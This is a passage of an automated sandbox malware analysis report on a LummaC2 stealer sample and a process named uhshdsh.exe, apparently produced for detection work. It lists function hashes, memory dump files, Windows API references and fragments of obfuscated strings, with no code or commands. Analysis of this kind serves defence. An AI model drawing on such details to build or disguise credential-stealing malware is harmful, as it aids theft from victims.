Opcode Fuzzy Hash: b59f228fcd9a64c61a64e8ee333859bb05a601860f968b1038c239554424d74c
Instruction Fuzzy Hash: 9DA10075A05251CFCB08CF68E8502EEB7F2FB8A315F19847DC886A7341E375AA05CB95

Function 0044CA72 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e97e825b2a71e2f11ec8c3da0fb393c22d1330d1c3cd38497dddbd35c36f7e5b
Instruction ID: 3f1f78d4b8261839da26e04005f8762f426d4105702991010fa958c97a1107d4
Opcode Fuzzy Hash: e97e825b2a71e2f11ec8c3da0fb393c22d1330d1c3cd38497dddbd35c36f7e5b
Instruction Fuzzy Hash: F49121719493118BE320EF55C89162BB3B1FFE1314F08892EE9C54B390E778DA05CB9A

Function 00425820 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fea8ea4829ac252e1f298bdd42babee97c140a5fe734ebde9f343a999652ddc
Instruction ID: 66b831c8a7fb6590c83a9f4f9b1cd4700906df6093961e6123dda827d710db5d
Opcode Fuzzy Hash: 6fea8ea4829ac252e1f298bdd42babee97c140a5fe734ebde9f343a999652ddc
Instruction Fuzzy Hash: E251E2B4B043109FC714EF18E88192BB7A1FF84328F59466EE8998B352D735EC51CB96

Function 00464380 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f4c51bab5a07c3de940d4e44d71247e24c2c147f68f7e2e71aceba748e809155
Instruction ID: ce1fa31067bdc6647e5f6bcfee82a291e36642d675e1ba5285c724a53321afdc
Opcode Fuzzy Hash: f4c51bab5a07c3de940d4e44d71247e24c2c147f68f7e2e71aceba748e809155
Instruction Fuzzy Hash: CF415A35345300AFDB248B59DCC2B3777A6EBD9704F19402DE6855B7A0EA75AC40C78B

Function 0045B170 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55dcac7e5b6a7f7d13c670754c92cecf557d5025fadf6c02a680f54906b41daa
Instruction ID: d812f5a6a7eb097c81298c771a33425773e2c42cf7ba0bbae9054da956444c22
Opcode Fuzzy Hash: 55dcac7e5b6a7f7d13c670754c92cecf557d5025fadf6c02a680f54906b41daa
Instruction Fuzzy Hash: 51316876B443046BE710A965AC86E2F729AEBC4759F04047AFD4493253F739EC0983FA

Function 0043C6E0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbb83a010e42f97af6b5049840e9587e5fdcf13b06755f5df9e645e2a155e043
Instruction ID: 0b262c0f8a6d4e2ea39515af0dec6302df20189114890c15787d2ce600ce240d
Opcode Fuzzy Hash: fbb83a010e42f97af6b5049840e9587e5fdcf13b06755f5df9e645e2a155e043
Instruction Fuzzy Hash: 404104745053119BD3249F14C882BEBB7E4EF8A720F005A19F9959B3D1E3B8D941CBEA

Function 0042C960 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction ID: d1464a57cdcbab8510fae3b29f5aab47ac3f16fd124bf8eeae65b212ab3ab32c
Opcode Fuzzy Hash: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction Fuzzy Hash: F1317829E496F546C332C93D94E016EBF906D972A47D942EFC8F10F383C5468986C3E9

Function 0043C8CE Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413ec4da74d20b170a7a214e11ae7740ad12c62c8d12396a07755562296d7cd2
Instruction ID: 762764b037cb1254b90b91602b75fae5c3d8fec5a0bf0d5e55526cf294c4860e
Opcode Fuzzy Hash: 413ec4da74d20b170a7a214e11ae7740ad12c62c8d12396a07755562296d7cd2
Instruction Fuzzy Hash: AE3191B15083408BC7349F24C4923EBB7B1FFAA354F15A91DE4C99B391E7788941CB9A

Function 00457CA0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 7d595fd18fa32aab1a3ab53e48b8a4f9420a0f320680fec1ade24c843cfdaf9b
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 5D118633A091D40ED3168D3C9400579BFA31B93636B5943AAF8B59B2D3D6278D8F8359

Function 00460E3A Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 003c7f9cad23e9921c5e8db6bcd2c9e62c1ecac32bf731a0496443cf091dd105
Instruction ID: a3446857c6b916dee078c9c432054295c0b5768240048550c6436e58761de057
Opcode Fuzzy Hash: 003c7f9cad23e9921c5e8db6bcd2c9e62c1ecac32bf731a0496443cf091dd105
Instruction Fuzzy Hash: 691191386056408FC70CDB28D47062FBBB3EB95209F84997EE193C7B64D7399402DB4A

Function 0044DE70 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84c3b131bcf499d63e6b80aa2f1beace20ffa960dffd1ad22babe7e1f8cb60c
Instruction ID: 55650e0b9bf7f98f0d9ab1f1081c8f2dea627b04d8bc86d51352e8b5875e68d2
Opcode Fuzzy Hash: f84c3b131bcf499d63e6b80aa2f1beace20ffa960dffd1ad22babe7e1f8cb60c
Instruction Fuzzy Hash: B20175F2B00B0157F720AE55A4C172BB3A95FA1708F28442EE5055B302DB79ED09C7E9

Function 0045FAD0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf60c5057af21b77b0a376c765d42d615f1c8e67619a9c015eb4f9416003183
Instruction ID: 056a4c26dd3b564bf5d39e37a034a970d7ae43aeab3e29d5001203702ab7bfb7
Opcode Fuzzy Hash: adf60c5057af21b77b0a376c765d42d615f1c8e67619a9c015eb4f9416003183
Instruction Fuzzy Hash: 6B1101B49193909FC7849F25D99052BBAF4EB85349F889C3CE492E7351E738D5028F06

Function 00452088 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b00bfa36ec27e79c72361177baedb846aecd61f597bcbd9bdda077ac6d214ab
Instruction ID: 4bce48e9a36ac55cb111ab7c2e1d3f84d49b44a768444200264d6581ea6cd856
Opcode Fuzzy Hash: 0b00bfa36ec27e79c72361177baedb846aecd61f597bcbd9bdda077ac6d214ab
Instruction Fuzzy Hash: FA11E3B45087408FD750DF28C48478ABBE0FB08304F1489ADE899CB346E779E549CB91

Function 0044AA60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c24c141ad8603228328b7d317373bf61e6e81e3bb14175c5509e3f7239f52d92
Instruction ID: eb8f5f33117e694a7098768c010c1762612277ca06d3614bc5321d85d4f00975
Opcode Fuzzy Hash: c24c141ad8603228328b7d317373bf61e6e81e3bb14175c5509e3f7239f52d92
Instruction Fuzzy Hash: 83019AB08093849BD3449F65C8A561BFBE4AB82318F50592DF1E28B291D7B98409CF56

Function 00461648 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3991da3b9e2edd9abf2210aecfde66d9bebe6022cc3430f26902b3cb5440d405
Instruction ID: 8f950cdcdf5116cf9bb381cf876b7fb3ba26b7f372bda61ef200d7163bdc74db
Opcode Fuzzy Hash: 3991da3b9e2edd9abf2210aecfde66d9bebe6022cc3430f26902b3cb5440d405
Instruction Fuzzy Hash: 78F0A0B6D0A2908FC304DF32D515467BAA3ABEA610F59D93CC5D2ABB50CB359800DBC7

Function 0045C6D0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: adc84a43939d8cf4d1844fd6e41a80ae482cdc66e4eea926e9a6fe248f680fec
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: DFD0A7216083214BAB748E1DA44097BF7F0EAC7B12F49A55FF982E3248D234DC41D2AD

Function 004544AC Relevance: 52.7, APIs: 1, Strings: 29, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0045457C

Strings

M, xrefs: 004545BD
{, xrefs: 0045460D
V, xrefs: 00454665
I, xrefs: 0045459D
E, xrefs: 004545FD
q, xrefs: 0045465D
}, xrefs: 0045463D
e, xrefs: 004546FD
A, xrefs: 004545DD
s, xrefs: 0045464D
G, xrefs: 004545ED
d, xrefs: 004545F5
o, xrefs: 004546AD
c, xrefs: 004546CD
E, xrefs: 004544CA
u, xrefs: 0045467D
k, xrefs: 0045468D
i, xrefs: 0045469D
m, xrefs: 004546BD
a, xrefs: 004546DD
g, xrefs: 004546ED
O, xrefs: 004545AD
C, xrefs: 004545CD
y, xrefs: 0045461D
X, xrefs: 00454615
0, xrefs: 0045480C
w, xrefs: 0045466D
L, xrefs: 004544DA
E, xrefs: 004544BA

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: AllocString
String ID: 0$A$C$E$E$E$G$I$L$M$O$V$X$a$c$d$e$g$i$k$m$o$q$s$u$w$y${$}
API String ID: 2525500382-1585318030
Opcode ID: 54844557ae9972b33584b7112a6fae3ce3bea713ffa16ea886c2a761a16b451d
Instruction ID: 8b4813214f2b44af608f02b84a6bfaae50fad9f5cc6702af6227a9e104849e40
Opcode Fuzzy Hash: 54844557ae9972b33584b7112a6fae3ce3bea713ffa16ea886c2a761a16b451d
Instruction Fuzzy Hash: 30911A2150C7C189E332C73C880879BBED12BA7228F088B9DD5ED9B2D2D7B90449D767

Function 004540F6 Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 104COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0045413C

Strings

G, xrefs: 004541B3
E, xrefs: 004541BD
y, xrefs: 00454159
K, xrefs: 0045419F
C, xrefs: 004541C7
s, xrefs: 00454177
M, xrefs: 00454195
w, xrefs: 00454163
A, xrefs: 004541D1
u, xrefs: 0045416D
I, xrefs: 004541A9
q, xrefs: 00454181
@, xrefs: 004541CC
O, xrefs: 0045418B

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitVariant
String ID: @$A$C$E$G$I$K$M$O$q$s$u$w$y
API String ID: 1927566239-3739842773
Opcode ID: 43cd4ce551fde8cb5303e0ec85f6e622a57a1a87f57785c5dae6b5862159256e
Instruction ID: fe6806031f85e23b7734a3b8d5af2f84e74b802a39e35699def648986ed74c43
Opcode Fuzzy Hash: 43cd4ce551fde8cb5303e0ec85f6e622a57a1a87f57785c5dae6b5862159256e
Instruction Fuzzy Hash: 7B51367150C7D08AE325CB38845875EBFD16BE6324F184A9DE4E94B3E2C7B88845C767

Function 004542D4 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004542E2
VariantInit.OLEAUT32 ref: 004542F5

Strings

7, xrefs: 0045435D
-, xrefs: 0045433F
=, xrefs: 00454321
(, xrefs: 0045430D
?, xrefs: 00454371
3, xrefs: 00454349
!, xrefs: 00454367
2, xrefs: 0045432B
8, xrefs: 00454335
-, xrefs: 00454317

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$($-$-$2$3$7$8$=$?
API String ID: 2610073882-1101923984
Opcode ID: 3dc5cddacf67848b3563886b05e1dbcbd4725abe4db4c98e9e72138c666d6ff4
Instruction ID: 8c8df2782c61d6568071b2cb9a553b030bb0e939c0eb57e62c66d4ad2cb09481
Opcode Fuzzy Hash: 3dc5cddacf67848b3563886b05e1dbcbd4725abe4db4c98e9e72138c666d6ff4
Instruction Fuzzy Hash: 1F41573150C7C18FD3219B38884864EBFE16BA6324F094BADE5E4873D2DBB9840AC753

Function 0043CBE6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 273threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 0043CCA3

Strings

TU, xrefs: 0043CE9F
;:54, xrefs: 0043CD97

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: ProcessThreadWindow
String ID: ;:54$TU
API String ID: 1653199695-2129887498
Opcode ID: f4024f3027dfd92cc03c2c6760108a4bb5b56b776e923ffc019551a3249f3606
Instruction ID: d3c55aae5702183a839f5b3396a762244244b2e14d1da37b1b9976774852bc43
Opcode Fuzzy Hash: f4024f3027dfd92cc03c2c6760108a4bb5b56b776e923ffc019551a3249f3606
Instruction Fuzzy Hash: 1491E071608301DFD7108F24D88166BB7B6FF89719F18882DE18597361E378E981CB8B

Function 004556A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004556D9
GetSystemMetrics.USER32 ref: 004556E8

Strings

, xrefs: 00455793

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: fbcb80a59b8e1a125c21f67afcc1fa1b6184f1a412d2a2571af98e79f6c515c5
Instruction ID: 4d4bccaf563b90604056a48bebae8b449b6537f6bec46c467433491d9d4ae4cf
Opcode Fuzzy Hash: fbcb80a59b8e1a125c21f67afcc1fa1b6184f1a412d2a2571af98e79f6c515c5
Instruction Fuzzy Hash: 2B31A1B09143048FDB40EF6CD99561EBBF4BB88304F11856DE488DB360EB70A948CB97

Analysis Process: uhshdsh.exePID: 6448, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	380
Total number of Limit Nodes:	15

Executed Functions

Function 0180C150 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tejq, xrefs: 0180C873
xbmq, xrefs: 0180C27D
pnq, xrefs: 0180CD0A
TJoq, xrefs: 0180C2F2

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: TJoq$Tejq$pnq$xbmq
API String ID: 0-1294180740
Opcode ID: 286e7b5d06e3c9045a0b1e124c3924f0052af10c34a7d9b15c7d4737c445a82e
Instruction ID: 66870a4b0cdf7f090669b213cb2afe571543de2fb52e80966492ff7416a23a6d
Opcode Fuzzy Hash: 286e7b5d06e3c9045a0b1e124c3924f0052af10c34a7d9b15c7d4737c445a82e
Instruction Fuzzy Hash: F6A2C375A00228CFDB65CF69C984A99BBB2FF89304F1581E9D50DAB365DB319E81CF40

Function 0180D490 Relevance: 3.8, Strings: 2, Instructions: 1335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 0180E46E
